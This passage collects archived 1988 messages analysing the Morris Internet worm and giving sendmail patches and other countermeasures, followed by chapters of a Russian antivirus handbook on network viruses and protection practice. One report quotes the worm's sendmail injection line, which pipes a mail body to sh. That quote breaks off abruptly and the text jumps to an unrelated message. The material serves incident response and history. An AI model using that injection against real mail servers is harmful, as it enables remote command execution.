2) The shell creates a file in /tmp named $$,l1.c (where the $$
gets replaced by the current process id) and copies code for a
listener or helper program. This is just a few dozen lines
long and fairly generic code. The shell compiles this helper
using the cc command local to the system.
3) The helper is invoked with arguments pointing back at the
infecting virus (giving hostid/socket/passwords as arguments).
4) The helper then connects to the server and copies a number of
files (presumably to /tmp). After the files are copied, it exec's
a shell with standard input coming from the infecting virus
program on the other end of the socket.
From here, I speculate on what happens since I can't find the
source to this part lying around on our machines:
5) The newly exec'd shell attempts to compile itself from the
files copied over to the target machine. I'm not sure what else
the virus does, if anything -- it may also be attempting to add a
bogus passwd file entry or do something to the file system. The
helper program has an array of 20 filenames for the helper to
copy over, so there is room to spare. There are two versions
copied -- a version for Vax BSD and a version for SunOS; the
appropriate one is compiled.
6) The new virus is dispatched. This virus opens all the virus
source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).
Next, the virus steps through the hosts file (on the Sun, it uses
YP to step through the distributed hosts file) trying to connect
to other machines' sendmail. If a connection succeeds, it forks a
child process to infect it, while the parent continues to attempt
infection of other machines.
7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).
The heavy load we see is the result of multiple viruses coming in
from multiple sites. Since local hosts files tend to have entries
for other local hosts, the virus tends to infect local machines
multiple times -- in some senses this is lucky since it helps
prevent the spread of the virus as the local machines slow down.
The virus also cleans up after itself. If you reboot an
infected machine (or it crashes), the /tmp directory is normally
cleaned up on reboot. The other incriminating files were already
deleted by the virus itself.
Clever, nasty, and definitely anti-social.
--spaf
------------------------------------------------------------------
-------
From: bishop@bear.Dartmouth.EDU (Matt Bishop)
Subject: More on the virus
Date: Thu, 3 Nov 88 16:32:25 EST
... This program introduced itself through a bug in sendmail. At
these sites, sendmail was compiled and installed with a debugging
option turned on. As near as I can figure (I don't have access to
the sendmail sources), by giving a specific option to the debug
command in sendmail (there are lots of those, controlling what
exactly you get information about) you can cause it to execute a
command. As sendmail runs setuid to root, guess what privileges
the command is executed with. Right.
Apparently what the attacker did was this: he or she connected to
sendmail (ie, telnet victim.machine 25), issued the appropriate
debug command, and had a small C program compiled. (We have it.
Big deal.) This program took as an argument a host number, and
copied two programs -- one ending in q.vax.o and the other ending
in .sun.o -- and tried to load and execute them. In those cases
where the load and execution succeeded, the worm did two things
(at least): spawn a lot of shells that did nothing but clog the
process table and burn CPU cycles; look in two places -- the
password file and the internet services file -- for other sites it
could connect to (this is hearsay, but I don't doubt it for a
minute.) It used both individual .rhost files (which it found
using the password file), and any other remote hosts it could
locate which it had a chance of connecting to. It may have done
more; one of our machines had a changed superuser password, but
because of other factors we're not sure this worm did it.
This last part is still sketchy; I have the relevant sun.o file
and will take it apart to see just what it was supposed to do. As
of now, it appears there was no serious damage (just wasted CPU
cycles and system administrator time).
Two obvious points:
1. Whoever did this picked only on suns and vaxen. One site with a
lot of IRISes and two Crays (ie, NASA Ames) got bit on their Suns
and Vaxen, but the attempt to get the other machines didn't work.
2. This shows the sorry state of software and security in the UNIX
world. People should NEVER put a program with debugging hooks in
it, especially when the hook is (or can be made) to execute an
arbitrary command. But that is how the sendmail which was used
was distributed!
One more interesting point: initially, I thought an application of
the principle of least privilege would have prevented this
penetration. But the attacker used a world-writeable directory to
squirrel the relevant programs in, so -- in effect -- everything
could have been done by any user on the system! (Except the
superuser password change, of course -- if this worm did in fact
do it.)
I think the only way to prevent such an attack would have been to
turn off the debug option on sendmail; then the penetration would
fail. It goes to show that if the computer is not secure (and like
you, I don't believe there ever will be such a beastie), there is
simply no way to prevent a virus (or, in this case, a worm) from
getting into that system.
I know this is somewhat sketchy, flabby, and fuzzy, but it's all I
know so far. I'll keep you posted on developments ...
Matt
------------------------------------------------------------------
-------
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)
Subject: Virus (READ THIS IMMEDIATELY)
Date: 3 Nov 88 10:58:55 GMT
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
There's a virus running around; the salient facts. A bug in
sendmail has been used to introduce a virus into a lot of Internet
UNIX systems. It has not been observed to damage the host system,
however, it's incredibly virulent, attempting to introduce itself
to every system it can find. It appears to use rsh, broken
passwords, and sendmail to introduce itself into the target
systems. It affects only VAXen and Suns, as far as we know.
There are three changes that we believe will immunize your system.
They are attached.
Thanks to the Experimental Computing Facility, Center for Disease
Control for their assistance. (It's pretty late, and they
certainly deserved some thanks, somewhere!)
Fix:
First, either recompile or patch sendmail to disallow the `debug'
option. If you have source, recompile sendmail after first
applying the following patch to the module svrsmtp.c:
*** /tmp/d22039 Thu Nov 3 02:26:20 1988
--- srvrsmtp.c Thu Nov 3 01:21:04 1988
***************
*** 85,92 ****
onex,CMDONEX,
# ifdef DEBUG
showq,CMDDBGQSHOW,
- debug,CMDDBGDEBUG,
# endif DEBUG
# ifdef WIZ
kill,CMDDBGKILL,
# endif WIZ
--- 85,94 ----
onex,CMDONEX,
# ifdef DEBUG
showq,CMDDBGQSHOW,
# endif DEBUG
+ # ifdef notdef
+ debug,CMDDBGDEBUG,
+ # endif notdef
# ifdef WIZ
kill,CMDDBGKILL,
# endif WIZ
Then, reinstall sendmail, refreeze the configuration file, using
the command /usr/lib/sendmail -bz, kill any running sendmail's,
using the ps(1) command and the kill(1) command, and restart your
sendmail. To find out how sendmail is execed on your system, use
grep(1) to find the sendmail start line in either the files
/etc/rc or /etc/rc.local
If you don't have source, apply the following patch to your
sendmail binary. SAVE A COPY OF IT FIRST, IN CASE YOU MESS UP!
This is mildly tricky -- note, some versions of strings(1), which
we're going to use to find the offset of the string debug in the
binary print out the offsets in octal, not decimal. Run the
following shell line to decide how your version of strings(1)
works:
/bin/echo 'abcd' | /usr/ucb/strings -o
Note, make sure the eight control 'G's are preserved in this line.
If this command results in something like:
0000008 abcd
your strings(1) command prints out locations in decimal, else it's
octal.
The patch script for sendmail. NOTE, YOUR OFFSETS MAY VARY!! This
script assumes that your strings(1) command prints out the offsets
in decimal.
Script started on Thu Nov 3 02:08:14 1988
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
0096972 debug
okeeffe:tmp {3} adb -w /usr/lib/sendmail
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
96972?s
96972:debug
96972?w 0
96972:25701 = 0
okeeffe:tmp {4} ^D
script done on Thu Nov 3 02:09:31 1988
If your strings(1) command prints out the offsets in octal, change
the
line 0t10$d to 0t8$d.
After you've fixed sendmail, move both /bin/cc and /bin/ld to
something
else. (The virus uses the cc and the ld commands to rebuild itself
to
run on your system.)
Finally, kill any processes on your system that don't belong
there. Suspicious ones have (sh) or xNNNNNNN where the N's are
random digits, as the command name on the ps(1) output line.
One more thing, if you find files in /tmp or /usr/tmp that have
names like xNNNNNN,l1.c, or xNNNNNN,sun3.o, or
xNNNNNNN,vax.o where the N's are random digits, you've been
infected.
------------------------------------------------------------------
-------
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT
The patch from Keith Bostic in the last message is *not*
sufficient to halt the spread of the virus. We have discovered
from looking at the binaries that the virus also attempts to
spread itself via rsh commands to other machines. It looks
through a *lot* of files to find possible vectors to spread.
If you have a bunch of machines with hosts.equiv set or .rhosts
files, you should shut them *all* down at the same time after you
have fixed sendmail to prevent a further infestation. If you don't
clear out the versions in memory, you won't protect your other
machines.
The virus runs itself with the name sh and then overwrites argv,
so if a ps ax shows any processes named (sh) without a
controlling tty, you have a problem. Due to the use of other uids
from rsh, don't make any conclusions if the uid is one of your
normal users.
Also, check your mailq (do a mailq command). If you see any
entries that pipe themselves through sed and sh, delete them from
the queue before
you restart your machines.
Non-internet sites do not need to worry about this virus (for
now!), but be aware that mail and news may not be flowing
everywhere for some time -- many sites are disconnecting from the
Internet completely until the virus is contained.
------------------------------------------------------------------
-------
From: Gene Spafford
Subject: Updated worm report
Date: Fri, 04 Nov 88 00:27:54 EST
This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):
All of our Vaxen and some of our Suns here were infected with the
worm. The worm forks repeated copies of itself as it tries to
spread itself, and the load averages on the infected machines
skyrocketed. In fact, it got to the point that some of the
machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!
The worm seems to consist of two parts. The way that it works is
as follows:
1) Virus running on an infected machine opens a TCP connection to
a victim machine's sendmail, invokes debug mode, and submits a
version of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through an
account requiring no password (due to hosts.equiv or .rhosts
entries).
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on
this later).
Using the sendmail route, it does something like:
From: /dev/null
To: |sed -e 1,/^$/d | sh; exit 0
cd /usr/tmp
cat > x14481910.c <<'EOF'
Subject: A worm condom
Date: Thu, 03 Nov 88 21:20:10 EST
... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with
a condom to protect your machine against the CURRENT worm. They
are not
100% sure it works, but it seems to be completely effective and it
can't
do any harm. As ROOT, do:
mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh
Then edit your rc.local file to recreate the directory in case of
a reboot. This will not stop a current infection, but it will
prevent any new ones from taking hold -- it prevents the worm from
creating replicas.
... --spaf
------------------------------------------------------------------
-------
From: Gene Spafford
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST
FLASH!!
Kevin (Adb's your friend.) Braunsdorf just burst into my office
with a cure discovered in the disassembled worm binary.
If there is an external variable in the library named pleasequit
that is non-zero, the worm will die immediately after exiting.
Thus, to kill any new worms, include a patch in your library that
defines the symbol. The following shell file and source code will
modify your C library to define this symbol.
It WON'T kill any currently linked and running versions, but it
will prevent reinfection.
# Shar archive. Give the following as
# input to /bin/sh
# Packed Thu Nov 3 21:56:35 EST 1988
# by spaf@uther.cs.purdue.edu
#
# This archive contains:
# foo.sh
# foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit
9.3. Вирусы в локальных сетях
Проблемы, связанные с локальными сетями, во многом зависят от
типа используемой сети. Так, например, в некоторых дешевых
локальных сетях дисковод сетевого сервера доступен как обычный
диск. Это означает, что обычный файловый вирус, попав на диск
центрального сервера будет распространяться по всей сети как будто
по обычной файловой системе отдельного персонального компьютера.
В более дорогих системах имеется некоторая степень
регламентирования доступа, обычно аналогичная той, которая
используется в многозадачных системах на больших ЭВМ. В этих
системах особую опасность представляет так называемый
суперпользователь, т.е. пользователь имеющий наивыший уровень
доступа ко всем системным ресурсам. Небрежное отношение к паролям
таких пользователей или злоупотребление работой с самым высоким
статусом доступа существенно облегчает попадание и быстрое
распространение по сети файловых вирусов, поскольку фактически
отключает имеющиес защитные механизмы.
9.3.1. Вирус 1260
Данный вирус является сильно модифицированным вариантом вируса
С-648 и способен распространяться по сети Novell. Хотя вирус не
является резидентным, он распространяется достаточно быстро Длина
зараженные файлов увеличиваются на 1260, причем при заражении они
шифруются ключем, меняющимся от файла к файлу. Отличительной
особенностью вируса является его способность заражать локальные
сети.
Исторические замечания. Вирус был обнаружен в Миннесоте(США) в
январе 1990 г.
Методы и средства защиты. Детектируется полидетектором SCAN.
10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ
Предусмотрительность и осторож-
ность одинаково важны: предус-
мотрительность - чтобы вовремя
заметить трудности, а осторож-
ность - чтобы самым тщательным
образом подготовиться к их
встрече
Р.Амунденсен
Проблема вирус - средства защиты аналогична проблеме оружие
нападения - оружие защиты: появление средств защиты стимулирует
разработку более совершенных средств нападения. Поэтому следует
ожидать, что и компьютерные вирусы надолго останутся актуальной
проблемой, причем совершенствование средств защиты будет сопровож-
даться и совершенствованием самих вирусов. Эта ситуация в какой-то
мере напоминает естественный отбор, в ходе которого, как известно,
выживают наиболее приспособленные.
10.1. Классификация cредств защиты от вирусов
Время, когда можно было работать на машине и не задумываться над
тем, что завтра ваших программ и файлов на диске не окажется, про-
шло навсегда. Впрочем, для отечественных программистов оно никогда
и не наступало, поскольку надежность магнитных носителей и устрой-
ств, использовавшихся в нашей стране, всегда оставляла желать луч-
шего. Поэтому сейчас в арсенал каждого пользователя должен войти
необходимый минимум средств защиты. Методика их применения будет
рассмотрена несколько позднее. Введем необходимые термины и приве-
дем их краткую классификацию:
архивирование: копирование таблицы FAT, ежедневное ведение архи-
вов измененных файлов. Это самый важный, основной метод защиты от
вирусов. Остальные методы не могут заменить ежедневное архивирова-
ние, хотя и повышают общий уровень защиты;
входной контроль: проверка поступающих программ детекторами,
проверка соответствия длины и контрольных сумм в сертификате дли-
нам и контрольным суммам полученных программ; систематическое об-
нуление первых трех байтов сектора начальной загрузки на получен-
ных незагружаемых дискетах (для уничтожения бутовых вирусов);
профилактика: работа с дискетами, защищенными от записи, миними-
зация периодов доступности дискеты для записи, разделение общих
дискет между конкретными пользователями и разделение передаваемых
и поступающих дискет, раздельное хранение вновь полученных про-
грамм и эксплуатировавшихся ранее, хранение программ на винчесте-
ре в архивированном виде;
ревизия: анализ вновь полученных программ специальными средства-
ми, контроль целостности с помощью регулярного подсчета контроль-
ных сумм и проверки сектора начальной загрузки перед считыванием
информации или загрузкой с дискеты, контроль содержимого системных
файлов (прежде всего, СOMMAND.COM) и др. Имеется целый ряд про-
грамм-ревизоров, обеспечивающих подсчет контрольных сумм (см.
прил.5);
карантин: каждая новая программа, полученная без контрольных
сумм, должна проходить карантин, т.е. тщательно проверяться компе-
тентными специалистами на известные виды компьютерных вирусов, и в
течение определенного времени за ней должно быть организовано на-
блюдение. Использование специального имени пользователя в ADM
(Advanced Disk Manager) при работе со вновь поступившими програм-
мами, причем для этого пользователя все остальные разделы должны
быть либо невидимы, либо иметь статус READ_ONLY;
сегментация: использование ADM для разбиения диска на непотоп-
ляемые отсеки -- зоны с установленным атрибутом READ ONLY. Ис-
пользование для хранения ценной информации разделов, отличных от C
или D, и не указываемых в PATH. Раздельное хранение исполняемых
программ и баз данных;
фильтрация: применение программ-сторожей для обнаружения попыток
выполнить несанкционированные действия;
вакцинирование: специальная обработка файлов, дисков, каталогов,
запуск резидентных программ-вакцин, имитирующих сочетание условий,
которые используются данным типом вируса для определения, заражена
уже программа, диск, компьютер или нет, т.е. обманывающих вирус;
автоконтроль целостности: применение резидентных программ под-
счета контрольных сумм перед запуском программ, использование в
программе специальных алгоритмов, позволяющих после запуска про-
граммы определить, были внесены изменения в файл, из которого за-
гружена программа, или нет;
терапия: дезактивация конкретного вируса в зараженных программах
специальной программой-антибиотиком или восстановление первона-
чального состояния программ путем выкусывания всех экземпляров
вируса из каждого зараженного файла или диска с помощью программы-
фага.
Как видно из приведенного выше материала, имеется несколько ти-
пов программных средств защиты от вирусов. Если попытаться наме-
тить иерархию этих средств по их вкладу в безопасность, то пред-
ставляется, что на первом месте идут программы-архиваторы.
10.2. Основная технологическая схема защиты
Volenum ducunt fata,
nolenum trahunt
(Желающего судьба ведет,
не желающего тащит)
Латинская пословица
Проблему защиты от вирусов целесообразно рассматривать в общем
контексте проблемы защиты информации от несанкционированного дос-
тупа. По данной проблеме опубликован ряд монографий, среди которых
следует рекомендовать учебник Л.Д.Хофмана [ ] и монографию Сяо,
Керр и Медника [ ]. Основной принцип, который должен быть положен
в основу разработки технологии защиты от вирусов, состоит в созда-
нии многоуровневой распределенной системы защиты, включающей как
регламентацию операций на ЭВМ, так и специальные программные и ап-
паратные средства. При этом обязательно должно существовать не-
сколько уровней защиты, причем их количество может варьироваться в
зависимости от ценности информации, которая обрабатывается на кон-
кретной ЭВM.
Как и в большинстве других случаев организации защиты, важным
преимуществом многоуровневой защиты является то, что наличие не-
скольких уровней позволяет компенсировать недостатки, присущие то-
му или иному отдельному средству защиты. Если вирус обойдет один
вид защиты, то он может споткнуться на другом. Автор рекомендует
схему, включающую следующие этапы:
входной контроль новых программных средств;
сегментацию информации на винчестере;
защиту MS DOS и системных программ от заражения;
систематическое использование резидентных программ и ревизоров
для контроля целостности информации;
архивирование.
10.2.1. Организация входного контроля нового программного обеспечения
Первым и весьма важным уровнем защиты является входной контроль
поступающих программ и дискет. Подобно тому, как первые захваты
авиалайнеров изменили отношение к проблемам досмотра пассажиров,
случаи заражения вирусами должны изменить отношение к входному
контролю программ и дискет, который, к сожалению, часто еще рас-
сматривается как необязательный. Следует отдавать себе отчет, что
фактически мы столкнулись с еще одной разновидностью терроризма, и
борьба с ним требует перехода к сплошному входному контролю посту-
пающих программ и дискет. При этом фирменные дискеты не должны
составлять исключение, так как имелись случаи поставки зараженных
программ на дистрибутивных дискетах. Конечно, вероятность послед-
него случая существенно меньше, чем при обычном переписывании.
Большинство известных файловых и бутовых вирусов можно выявить
уже на этапе входного контроля. Эта процедура отнимает всего лишь
несколько минут, сохраняя десятки часов, потраченных затем на дез-
инфекцию или восстановление уничтоженной информации. Для этой цели
целесообразно использовать специально подобранную батарею детекто-
ров и фагов. Можно рекомендовать следующий состав такой батареи
(приведенные ниже фаги следует использовать в режиме детектирова-
ния): SCAN, TNTVIRUS, Kxx, -V, AIDSTEST, AV, Doctor.
Указанную батарею можно запускать как с помощью обычного BAT-
файла, так и с помощью оболочки типа антивирус-интегратора (напри-
мер, AVTP). В случае обнаружения вирусов полезно отпечатать и со-
хранить протокол проведенного контроля. При интерпретации резуль-
татов следует учитывать возможность ложного срабатывания одного из
детекторов.
10.2.1.1. Понятия достоверной дистрибутивной копи и сертификата
Развитие методов маскировки вирусов делает необходимым понятие
достоверной дистрибутивной копии. Здесь возникает определенная
проблема, в случае если распространяемое программное обеспечение
относится к классу FREEWARE. Главным критерием достоверности ди-
стрибутивной копии является соответствие длины, даты и контрольной
суммы файла значениям, приведенным в протоколе архивирования раз-
работчика, если конечно, таковой имеется, или в протоколе, полу-
ченном с только-что распечатанной дистрибутивной версии. Следует
подчеркнуть важность эталонного протокола, как своего рода серти-
фиката подлинности передаваемого программного обеспечения.
Если программное обеспечение получено с сертификатом, то сразу
после его получения рекомендуется снять справку с архива и срав-
нить с сертификатом.
10.2.1.2. Контроль текстовых строк, содержащихся в файле
Полезно просмотреть ASCII-строки, имеющиеся в полученных про-
граммах, используя LABTEST, RED, EDMSG или другую подходящую ути-
литу. Очень важно убедиться, что полученное Вами программное обе-
спечение не содержит подозрительных текстовых строк типа
COMMAND.COM, PATH=, *.COM, ????????COM, Kill, Stoned,
Virus, Stupid, и т.д. (см. прил.1-4). Поскольку большинство
разработчиков вирусов, по-видимому, страдают комплексом неполно-
ценности, разработка вируса для них является патологическим спо-
собом самоутверждения. Поэтому им трудно удержаться от включения в
текст сообщений подобного рода. В то же время многие вирусы шиф-
руют содержащиеся в них строки и они становятся видны только при
трассировке программы. Однако отрицательный результат - тоже ре-
зультат и, если при визуальном просмотре в последних 2-3К дампа
нет ни одной текстовой строки, то это тоже должно настораживать.
Если это является результатом упаковки EXE-файлов специальным упа-
ковщиком, распаковывающим файл в оперативной памяти перед выполне-
нием (LZEXE, EXEPACK и др.), то необходимо предварительно распако-
вать файл для анализа.
10.2.1.3. Использование отладчиков и дизассемблеров
Подозрительные файлы целесообразно просмотреть с помощью отлад-
чика, позволяющего отслеживать выдаваемые программой прерывания
(Periscope, Quard Analizer). Методика их использования будет рас-
смотрена во второй части данной работы. В cлучае выявления подо-
зрительных последовательностей прерываний соответствующие участки
программы следует дизассемблировать и пройти в пошаговом режиме.
10.2.2. Карантинный режим
Все, что хорошо начина-
ется, кончается плохо,
Все что начинается пло-
хо, кончается еще хуже
Из законов Мерфи
В случае, когда программное обеспечение получено без сертифика-
та, из сомнительного источника или не эксплуатировалось в том мес-
те, откуда оно было передано, первые несколько дней эксплуатацию
полученного программного обеспечения полезно выполнять в карантин-
ном режиме. В этом режиме целесообразно использовать искусственно
ускоренный календарь, т.е. задавать при каждом следующем экспери-
менте новый месяц и день недели. Это повышает вероятность обнару-
жения троянской компоненты, срабатывающей в определенный месяц или
после истечения определенного календарного отрезка времени.
Вообще говоря, лучше всего иметь специально выделенный каран-
тинный компьютер для подобного рода экспериментов. В этом компь-
ютере все программное обеспечение полезно обработать, дописав в
конец каждого файла специальную строку, например вида ***OK***.
Дописывание таких концевых маркеров можно выполнить автоматически,
составив пакетный файл. Их наличие облегчает последующий анализ
программ, поскольку граница между вирусом, севшим в конец про-
граммы, и файлом становится четко определенной. Конечно, это не
исключает необходимости использования джентльменского набора ан-
тивирусных средств, включающего подходящий ревизор, сторож и само-
контролирующиеся программы-приманки. Резидентные сторожа следует
использовать лишь периодически, поскольку вирус может распознавать
присутствие таких средств и соответствующим образом менять свое
поведение (на карантинном компьютере стоит задача обнаружить мо-
мент заражения, а не препятствовать размножению вируса).
Если выделить карантинный компьютер не представляется возможным,
то целесообразно создать карантинный режим на одном из компьюте-
ров, не содержащем особо ценных файлов или баз данных. Вход в ка-
рантинный режим должен выполняться с помощью специального имени
пользователя, которому для записи доступен лишь логический диск, и
специальный карантинный раздел винчестера, а большинство осталь-
ных скрыто, либо имеют статус READ_ONLY. При этом для всех компо-
нент операционной системы и некоторых утилит, используемых как
приманка для вируса, следует записать в соответствующий файл
контрольные суммы, вычисленные подходящим ревизором (при его от-
сутствии для этой цели можно использовать любой архиватор, напри-
мер, PKZIP).
Для компьютеров типа PC XT, имеющих меньше 1M оперативной памя-
ти, рекомендуется организовать из части памяти достаточно большой
электронный диск (скажем 250К), записать на него несколько часто
используемых системных утилит и погонять эти утилиты. Возможно
вирус клюнет и заразит одну из этих программ - в этом случае ре-
визор обнаружит несовпадение контрольных сумм и сообщит о факте
заражения. Преимущество использования электронного диска для таких
экспериментов связано с тем, что его содержимое автоматически
уничтожается при перезагрузке или выключении питания. Это обеспе-
чивает дополнительную гарантию, что из-за невнимательности или
случайного стечения обстоятельств какая-нибудь зараженная в про-
цессе экспериментов программа не останется на диске и затем не
станет использоваться кем-нибудь другим.
10.2.2.1. Троянские компоненты в незаконно распространяемых копиях
программ и программах со сломанной защитой
Ах бедность, бедность,
как унижает она сердце нам
А.С.Пушкин
Известны случаи, когда в состав незаконной копии включались тро-
янские программы. Например, одна из программ на распространявшейся
в Донецке дискете с незаконной копией игры FORMULA, выполняла пе-
риодическое стирание CMOS-памяти. Следует отметить, что наряду с
незаконно распространяемыми игровыми программами, которые часто
бывают заражены вирусами, определенную опасность представляют про-
граммы со сломанной защитой, поскольку возможны случаи, когда
снятие защиты ведет к активации троянской компоненты, заложенной в
программе. При этом Вы можете не подозревать, что эксплуатируемая
программа является коммерческой, поскольку соответствующие сообще-
ния при снятии защиты часто меняются или исключаются, а сама про-
грамма может быть переименована. Автору известны случаи, когда
разработчики отечественных коммерческих систем защиты программ от
копирования предлагали потенциальным пользователям предусмотреть
действия, вызывающие разрушение информации при запуске защищенной
программы не на том компьютере. Остается надеяться, что на это
предложение никто из разработчиков не клюнул.
10.2.2.2. Троянские компоненты в антивирусных программах
Известно несколько случаев распространения вируса с помощью тро-
янской версии антивирусной программы.
10.2.2.3. После покупки компьютера проверяйте содержимое винчестера
Опыт растет прямо пропорционально
выведенному из строя оборудованию
Из законов Мерфи
Все программное обеспечение, содержащееся на винчестере только
что купленной ЭВМ, целесообразно рассматривать как новое. Поэтому
при получении новой машины, если вы не собираетесь переформатиро-
вать винчестер, прежде всего протестируйте винчестер и все полу-
ченные дискеты на наличие вирусов. Кооперативы, перепродающие
ПЭВМ, зарекомендовали себя одними из главных распространителей ви-
русов. Это связано с тем, что перед продажей компьютер часто ис-
пользуется как игровой автомат. Многие пользователи сообщали, что
практически все программы на винчестере были заражены одним или,
чаще, несколькими различными типами вирусов. При тестировании та-
кого винчестера не забудьте загрузиться с заведомо чистой дискеты
с операционной системой. Если у вас еще нет опыта работы с персо-
нальными компьютерами, желательно пригласить специалистов со сто-
роны. Получая болгарское программное обеспечение, будьте внима-
тельны и осторожны: возможно некоторые программы заражены новыми
типами вирусов.
10.2.3. Сегментация информации на винчестере
Второй уровень защиты может быть основан на сегментации винчес-
тера с помощью специального драйвера, обеспечивающего присвоение
отдельным логическим дискам (разделам винчестера) атрибута READ
ONLY, а также простейшую схему парольного доступа. При этом в не-
потопляемые отсеки (разделы с установленным атрибутом READ ONLY)
можно записать значительную часть исполняемых программ, включая
большинство трансляторов и утилит. В качестве такого драйвера мож-
но применять различные программы. Автор рекомендует использовать
Advanced Disk Manager, который не только позволяет разбить диск на
разделы, но и организовать доступ к ним с помощью паролей. Кроме
того, уровень обеспечиваемой им защиты от записи выше, чем других
распространенных драйверов.
Количество используемых разделов и их содержимое зависят от ре-
шаемых задач и объема винчестера. Для 20M винчестера можно исполь-
зовать три-четыре раздела. При этом на логическом диске С, с кото-
рого выполняется загрузка, следует оставить лишь минимальное коли-
чество файлов (AUTOEXEC. BAT, COMMAND.COM, CONFIG.SYS, скрытые
системные файлы и программы-ловушки, контролирующие свою контроль-
ную сумму). Остальную часть винчестера следует разбить на зону
трансляторов и системных утилит (также со статусом READ ONLY) и
несколько разделов для отдельных пользователей (групп пользовате-
лей) с соответствующими ограничениями доступа. При этом для мини-
мизации движения головок разделы пользователей можно расположить
между разделом С (MS DOS) и разделом с трансляторами и утилитами.
10.2.4. Защита операционной системы от заражения
Если какая-нибудь неприятность
может случиться, она случается
Из законов Мерфи
Важным профилактическим средством в борьбе с файловыми вирусами
является затруднение им жизни путем исключения значительной ча-
сти загрузочных модулей из сферы их досягаемости. Этот метод, на-
зываемый сегментацией, был кратко рассмотрен в предыдущем разделе.
Однако применительно к самой операционной системе сегментация на-
столько важна, что на ней стоит остановиться отдельно. При пра-
вильном размещении операционной системы и ряда утилит можно гаран-
тировать, что после начальной загрузки операционной системы она
еще не заражена резидентным файловым вирусом. Это создает настоль-
ко значительные удобства и преимущества, что для достижения этой
цели стоит потратить время и силы на перекомпоновку винчестера,
если это еще вами не сделано. Первой задачей, которую нужно выпол-
нить при вирусобезопасной постановке операционной системы - это
разместить ее в защищенном от записи разделе (например, разделе
D).
Следует отметить, что логический диск с операционной системой не
должен быть слишком большим. Туда следует включать только саму
операционную систему и некоторые стабильные утилиты (Norton
Utilities, PC SHELL и т.д.). Вопрос о включении модулей транслято-
ров зависит от вашей склонности часто переходить от версии к вер-
сии и источников получения новых версий: общий принцип состоит в
том, чтобы скомпоновать этот диск так, чтобы необходимость входить
в систему с паролем, обеспечивающем возможность записи на этот
диск, возникала как можно реже. Кроме того, новые полученные ути-
литы нельзя включать в состав этого диска без предварительной тща-
тельной проверки и прохождения карантинного режима хотя бы в те-
чении месяца. Не стоит впадать из одной крайности в другую и стре-
миться защитить все подряд - это существенно затрудняет работу и
в большинстве случаев сводит на нет защиту из-за частой работы в
открытом режиме. Оптимальное количество исполняемых файлов, за-
щищенных от записи, вряд ли должно превышать 20-30% от общего ко-
личества файлов. В качестве критериев можно использовать целесооб-
разность подключения соответствующего каталога к PATH, а также
степень стабильности данного программного продукта.
При обычном размещении системных программ и утилит на диске C,
помимо командного процессора, одними из первых обычно заражаются
файлы, входящие в AUTOEXEC.BAT. Поэтому их тоже следует размещать
в разделе винчестера, имеющего статус READ ONLY. Иногда вирусы за-
ражают файлы IBMBIO и IBMCOM. Хотя обычно при этом операционная
система теряет работоспособность, здесь есть нюанс, состоящий в
том, что не рекомендуется (а с помощью DM и нельзя) присваивать
диску С статус READ ONLY. Поэтому эти файлы остаются незащенными,
и в качестве первой операции AUTOEXEC.BAT следует предусматривать
подсчет их контрольной суммы. Это можно сделать с помощью ревизо-
ра или специализированной программы (например, VACINE, см. СП 1-2)
или, наконец, обычной программы сравнения файлов, входящей в MS
DOS (COMP или FC). В последнем случае копии следует разместить в
защищенном от записи разделе. При использовании сторожа FluShot
Plus следует обязательно вставить контрольные суммы для указанных
файлов в соответствующий файл.
10.2.4.1. Стратегия защиты командного процессора
Поскольку командный процессор является излюбленной мишенью для
атаки файловых вирусов, то нужно одновременно оставить его в каче-
стве мишени и в то же время не допустить использования заражен-
ного командного процессора при перезагрузке системы. Очевидно, что
эти требования выглядят как взаимоисключающие. Однако им можно
удовлетворить, если оригинал командного процессора разместить на
защищенном от записи диске, а после начальной загрузки скопировать
его на виртуальный диск и установить соответствующее значение пе-
ременной COMSPEC. Для того, чтобы командный процессор в процессе
начальной загрузки считывался из защищенного раздела в CONFIG.SYS,
следует включить строку вида:
SHELL = D:\DOS\COMMAND.COM
SHELL = D:\4DOS\4DOS.COM @C:\4DOS.DAT
Последняя строка предполагает использование альтернативного
командного процессора 4DOS (читается - FOREDOS). Этот командный
процессор особенно удобен для пользователей, работающих на PC AT
или PS/2, и автор рекомендует индивидуализировать операционную
систему путем его использования вместо стандартного COMMAND.COM
(как известно, имеется по меньшей мере один вирус у Lehigh, ори-
ентированный на заражение именно стандартного COMMAND.COM). Коман-
дный процессор 4DOS (автор использует версию 3.0 от 7.03.90) раз-
работан американской фирмой J.P. Software (P.O. Box 1470,
E.Arlington, MA 02174 USA, (617) 646-3975) и распространяется как
Shareware. Он более удобен в работе, поскольку имеет диалоговый
HELP по всем командам MS DOS и существенно расширенный командный
язык, значительно облегчающий программирование BAT-файлов. Кстати,
диалоговый HELP от 4DOS можно использовать и со стандартным коман-
дным процессором. Как и COMMAND.COM, командный процессор 4DOS.COM
сегментирован и состоит из небольшой резидентной части 4DOS.COM,
размером около 11К (в памяти остается всего 2.5K - меньше, чем у
резидентной части COMMAND.COM) и оверлея 4DOS.EXE или 4DOS286.EXE,
размером около 64К. Шансы, что специализированному вирусу удастся
